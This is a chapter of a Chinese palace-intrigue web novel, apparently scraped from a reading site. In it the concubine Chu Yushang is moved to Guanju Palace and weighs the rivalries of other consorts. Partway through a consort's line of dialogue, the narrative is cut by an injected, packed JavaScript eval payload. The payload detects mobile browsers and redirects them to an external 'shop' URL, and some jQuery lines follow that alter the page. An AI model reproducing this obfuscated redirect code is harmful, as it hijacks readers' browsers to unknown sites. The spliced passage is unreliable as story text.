默认冷灰
24号文字
方正启体

18. 第 18 章

作者:巳意本书字数:K更新时间:
    晨起请安时,楚玉裳还浑浑噩噩地沉浸在自己的思绪中。


    她实在没法不去想,那家中等他赡养的老母,岂不是当朝太后?


    这么说,她无意中已经冒犯过太后娘娘一次了?


    萧元恪没找她算账,如今又让她住进关雎宫,涵养当真是无可指摘。


    太后当年是先皇后宫中的贤妃娘娘,虽宠爱不多,但家世不差,一入宫就是高位,后来有孕,生下的便是当今皇上。


    皇上十二岁之前都是养在太后这个母妃身边,母子感情深厚,后来十五岁被封王爷,出宫建府,接触朝政,过人的手段这才开始显露于人前。


    彼时太子因忤逆被废,再不许被提起,朝臣们转而将目光放在了已经长成的皇子身上,这才发现了萧元恪这颗明珠。


    萧元恪凭着温文尔雅,进退有度的名声逐渐成为先皇和朝臣中意的储君人选,但他身上仍有一个不小的诟病之处。


    那便是萧元恪年过二十,膝下仍无一子。


    可若说当时萧元恪生育能力有问题,也不尽然,毕竟王府后宅也有人怀过孕,包括当时身为王妃的皇后。


    只是天公不作美,亦或者是如今后宫的算计从那时便初见端倪,总之,没一个保住的。


    直至苏修仪生下萧元恪第一个孩子,朝中这才没人持反对意见。


    后来先帝驾崩,萧元恪便凭着遗诏顺利登基,因先皇后已逝,礼部追尊后,萧元恪封生母贤妃娘娘为太后,入住慈宁宫。


    太后娘娘后来嫌宫中生活枯燥,皇上也不惜耗费大力,将白云观敕建成皇家道观。


    可以说但凡是太后娘娘的事,那都是后宫中第一大事。


    哎。


    楚玉裳想起自己的悲惨遭遇(不是)萧元恪的悲惨遭遇,不由悲从中来。


    虽说现在来看,萧元恪的能力肯定没大打折扣,但当时呢。


    楚玉裳决定,回两仪殿就秘密找来两年前的彤史看一看。


    不看的话,她心痒难耐。


    “楚常在?”


    皇后正与杨妃说起皇上去白云观属意她伴驾的事,忽然温声将众人的注意力拉到了楚玉裳身上。


    楚玉裳定了定神,从椅子上站起,行礼道:“嫔妾在。”


    皇后笑了笑,目光滑过众嫔妃:“昨日本宫去御前与皇上商讨良美人迁宫的事,恰逢楚常在御前伴驾。这事楚常在已经知道了,本宫就不卖关子了。”


    “皇上口谕,良美人搬至颐华宫东偏殿,楚常在搬去关雎宫西偏殿。本宫已经派了殿中省将这两殿打扫出来,后日是吉日,良美人和楚常在便于后天搬去各自对应的宫殿吧。”


    良美人神色微变,但不管她心里怎么想,在皇上口谕面前,还是站起来同楚玉裳一起领旨谢恩。


    原本正嫉妒杨妃能伴驾出行的嫔妃,听闻此言,带着凉意的目光尽数落到楚玉裳身上。


    陈淑容掐了掐手掌,她遭皇上训斥,但仍一日不落的请安,可不就是为了看良美人迁宫的大戏么。


    她派人怂恿良美人去觊觎关雎宫,但着实没想到,关雎宫最后竟落到了楚常在手里。


    皇上召楚常在到乾正宫侍寝,免了她的请安,让她伴驾至晌午。


    如此恩宠本就让人嫉妒,如今更将关雎宫给了楚常在。


    不是怀孕的良美人,而是只侍寝了一日的楚常在。


    想到这事更印证了皇上并非众人以为的那样喜欢白侧妃,陈淑容的心情愈发差了,看向楚玉裳的目光晦暗不明。


    楚玉裳穿着昨日的衣裳,端得是漂亮华贵。


    自坐下后,她也不与旁人交谈,有点儿那种自恃宠爱,骄矜自傲的味了。


    江美人收回了目光,眼神复杂。


    楚玉裳虽说要与她一刀两断,但她总觉得有缓转的余地,于是也至上了气。


    楚玉裳救良美人被封常在,她没送礼物庆贺,楚玉裳受凉生病,她也没派人探望,如今楚玉裳受了宠,她也再不好与楚玉裳重修旧好了。


    不然就是攀附。


    江惠荷无比清晰地意识到,她和楚玉裳再也回不到过去了。


    楚玉裳安然落座,感受着周围怀着恶意的目光,她心道,恨吧,恨吧。


    这点恨意不足以让她跌倒,反而会成为滋养她的养料。


    有人恨她,这宫中生活才不算无趣。


    宓妃闭门思过,自然来不了中宫请安,容妃这几天感觉跟缺了什么似的,提不起劲儿。


    听了皇上的安排,容妃将矛头指向良美人,嘲笑道:“颐华宫清净,良美人搬去了,也能静心养胎,只是天寒路滑,皇上怎么没考虑到良美人不宜走这么远的路来中宫请安?”


    “可见呐……”


    良美人登时看向容妃,她快要气炸了,可容妃有位份有家世,寻常宠妃都压不过她,她又能怎么办呢。


    良美人摸着肚子,装作惊喜道:“多谢容妃娘娘关心,想必皇后娘娘心有成算,嫔妾听皇后娘娘的。”


    杨妃看到良美人装模作样瞥向皇后,露出了请安以来第一个笑容。


    可见良美人为母则刚,连皇后头上的毛也敢摸一摸。


    也是,容妃的话何尝不是在给良美人提醒呢,良美人不蠢,就能顺势求来一个恩典。


    皇后闻言一顿:“倒是本宫疏忽了,良美人有孕一个月,自该好好安胎,请安不是什么大事,等良美人顺利生产后再来中宫报喜吧。”


    良美人再次起身谢恩,心落到了实处。


    请安结束,坤宁宫外,楚玉裳带着白芷正欲离开,便遇见了良美人。


    楚玉裳弯腰行礼:“见过良美人。”


    良美人侧身避开:“我落水的事,谢谢你,日后若有用得上之处,可以派人来找我。”


    似是这几句话耗费了良美人全部力气,说完,她就带着宫女头也不回地走了。


    白芷目光古怪地看向良美人的背影:“奴婢素来听闻良美人不好想与,没想到竟然特意来感谢主子的救命之恩。”


    上次的两株人参和为小主请吴太医,白芷以为就是感谢了。


    楚玉裳也很奇怪,不过她的心情如微风轻拂,倒是感觉很好。


    楚玉裳带着白薇没走两步,又听到了旁人谈起她来。


    她默默停下脚步,看向天色。


    大概是因为今天风和日丽,天朗气清,阳光难得温暖起来,才引得一个接一个驻足交谈。


    宫女的声音传来:“娘娘,您好像不怎么在乎楚常在?”


    容妃伸出手,欣赏了番自己青葱的手指与新染的蔻丹,漫不经心道:“若是楚常在的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164723|196651||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    堂姐入宫,本宫才要忌惮她三分。但楚常在么,不过是楚家二房的女儿,本宫父亲的官职比楚常在父亲的要高出一截,本宫何须将她放在眼里?”


    再者,冤有头债有主,抢她恩宠的是丽贵人和江美人,让宓妃禁足的是良美人。


    她再怎么也不至于迁怒救人的楚常在。


    宫人奉承道:“娘娘说得极是。”


    容妃与她的宫人走后,楚玉裳也回了两仪殿。


    白芷见小主没有一丝一毫要生气的意思,便平复心中的郁气,不过多将心思放在容妃的话上。


    她开解自己,在宫中少一个敌人总比多一个敌人要好。


    楚玉裳进入殿内后就着手让小全子去找来皇上登基后的彤史。


    下午时候,彤史送到了楚玉裳手中,她翻看着,发现那件事发生后,萧元恪近三个月没进后宫,再多的,比如皇上召没召太医她就打听不到了。


    不过光凭这,就已经让楚玉裳窥见了事情的严重性。


    原来真的伤及了根本。


    楚玉裳心乱如麻,也猜测出萧元恪那时说的侍妾死了,指的是白侧妃,而他也不是望着河面要寻短见,应是刚为白侧妃放过河灯,在河灯飘远后,怔忡了一会儿。


    白蔹见他神情恍惚,这才以为萧元恪要轻生。


    说到底,也不能怪她们眼拙啊,且她当时说话极为客气,比哄她娘养的小猫都要尽心,心诚到都要报出父亲的名号,让他找她爹帮忙了。


    想着好歹让这人顺利返乡。


    谁知道,萧元恪长了一副很会读书的样子,却是个九五之尊的皇帝。


    而萧元恪呢,他当时是很伤心,但对一个未出阁的女子嘴那么毒,已经不是言语无状能描补得了了,那一脚哪里冤枉了他。


    楚玉裳细细复盘,最后发现,说一千道一万,她惶恐不安,全因萧元恪这个皇上身份。


    跟皇帝,哪有道理可讲,伤了龙体,怎么可能再依律法,换个普通人,她或许得赔些银子,但这人是萧元恪,她以死谢罪都不为过。


    万恶的皇权!


    楚玉裳目光呆滞,不管了,上辈子她都好好活了那么长时间,这辈子一切都在往好的方向发展,没道理她会因此获罪。


    因为后日便要搬宫,两仪殿上上下下都在忙碌着收拾东西。


    楚玉裳找来几块花样好的布料,准备亲自绣个荷包,以备不时之需。


    她女红极好,现在的姝嫔会在以后她的位份要越过她时,嘲她的绣工如绣娘一般,表现得很看不上眼,仿佛这样就能抬高自己,贬低她。


    但是,这不是夸她的吗?


    做的好还有错了?


    即便心里认同,但面对明晃晃的羞辱,楚玉裳选择大闹一通,然后在萧元恪面前柔弱垂泪,百般委屈。


    最后愣是凭借这件事让姝嫔降了位份,此后见着她都灰溜溜地远远避开了。


    楚玉裳边绣边想,她绣工和绣娘一样好也不是没有好处,后来萧元恪频频问她要她绣的物件,她就会收买绣娘帮她。


    十次有九次都是这样。


    唯一的那一次,是萧元恪终于闲下来了,可以在关雎宫歇息的时候。


    大白天无事可干,萧元恪盯着她绣。


    楚玉裳:这嫔妃俸禄可真不好拿。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)